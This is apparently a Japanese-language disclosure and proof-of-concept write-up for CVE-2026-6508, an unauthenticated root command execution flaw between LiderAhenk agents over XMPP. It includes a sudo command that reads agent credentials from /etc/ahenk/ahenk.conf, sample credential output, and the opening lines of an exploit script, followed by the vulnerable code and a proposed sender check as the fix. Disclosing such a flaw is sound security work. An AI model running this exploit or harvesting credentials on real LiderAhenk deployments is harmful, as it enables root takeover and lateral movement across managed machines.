
CVE-2026-6508 LiderAhenk Merkezi Yönetim Sistemi アーキテクチャにおいて、すべてのエンドポイント(エージェント)間で、あらゆるクライアントが相互に 'root' 権限でコードを実行することを可能にする(未承認のリモートコード実行 & 水平移動)重大なセキュリティ脆弱性。
EvilAhenkは、LiderAhenk統合管理システムアーキテクチャにおいて、エージェント間のすべてのクライアントが互いに'root'権限でコードを実行できるようにする(許可されていないRCEおよび横方向の移動)重大なセキュリティ脆弱性です。
LiderAhenkでは、管理パネル/中央サーバーがXMPPを介してクライアントにタスクとポリシーメッセージを送信します。
ahenkエージェントも同じXMPP基盤に接続します。EXECUTE_POLICY、EXECUTE_TASK、EXECUTE_SCRIPTなどのメッセージを送信します。つまり、XMPPはここで管理トラフィックの伝送チャネルです。中央パネルのコマンドは通常、このチャネルを介してクライアントに送られます。
期待されるフロー:
Lider/Ahenk 管理パネル -> XMPP サーバー -> 対象エージェント
脆弱なフロー:
ct-2 は同じXMPPサーバーに接続された有効なクライアントです。ct-2 は、ct-1 のJIDを対象としてXMPPサーバー経由でEXECUTE_SCRIPTメッセージを送信します。ct-1に転送します。ct-1 は、メッセージが本当にlider_sunucuから来たものかどうかを確認せずにコマンドを実行します。ahenk.serviceはrootとして実行されるからです。ct-2 または別のXMPPアカウント -> XMPP サーバー -> ct-1 エージェント -> root コマンド
つまり、私たちはXMPPレイヤーをハッキングしているわけではありません。XMPPサーバーは通常のメッセージルーティングを行っています。問題は、ct-1側のAhenkエージェントが、受信したメッセージが本当に権限のある管理アカウントから来たものかどうかを確認していないことです。
pip install slixmpp
乗っ取られ、統合管理システムに接続されたクライアントから、以下のように情報を収集します:
sudo grep -E '^(uid|password|host|port|servicename|receiverjid|use_tls)' /etc/ahenk/ahenk.conf
出力例;
uid = pardus-ct-2
password = e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401
host = 192.168.100.13
port = 5222
use_tls = false
receiverjid = lider_sunucu
servicename = im.liderahenk.org
取得した情報に基づいてMain.pyファイルを更新します。im.liderahenk.org ドメイン、pardus-ct-1 がターゲットUIDです。
- XMPP user: `[email protected]`
- XMPP password: `e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401`
- XMPP host: `192.168.100.13`
- XMPP port: `5222`
- デフォルトターゲット: `[email protected]`
被害マシンで実行するコマンドは、COMMAND変数を変更して編集できます。
root@pardus-ct-2:/home/pardus-ct-2# cat xp.py | head -n 11
#!/usr/bin/env python3
import asyncio
import json
from slixmpp import ClientXMPP
XMPP_USER = "[email protected]"
XMPP_PASS = "e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401"
TARGET_JID = "[email protected]"
XMPP_HOST = "192.168.100.13"
XMPP_PORT = 5222
COMMAND = "id > /tmp/who; false"
repos/ahenk/src/base/messaging/messenger.py 内で、受信メッセージは type フィールドのみに基づいて処理されます。msg['from'] に対する送信者の権限確認はありません:
def recv_direct_message(self, msg):
if msg['type'] in ['normal']:
j = json.loads(str(msg['body']))
message_type = j['type']
self.event_manger.fireEvent(message_type, str(msg['body']))
repos/ahenk/src/base/execution/execution_manager.py 内では、EXECUTE_SCRIPT が直接コマンド実行につながります:
def execute_script(self, arg):
json_data = json.loads(arg)
result_code, p_out, p_err = Util.execute(str(json_data['command']))
これらの2つの部分が組み合わさると、次のような影響があります:
EXECUTE_SCRIPTイベントをトリガーします。考えられる設計上の修正:
def recv_direct_message(self, msg):
if msg['type'] != 'normal':
return
allowed_sender = self.receiver.split('/')[0]
actual_sender = msg['from'].bare
if actual_sender != allowed_sender:
self.logger.warning("Rejected message from %s", actual_sender)
return
j = json.loads(str(msg['body']))
self.event_manger.fireEvent(j['type'], str(msg['body']))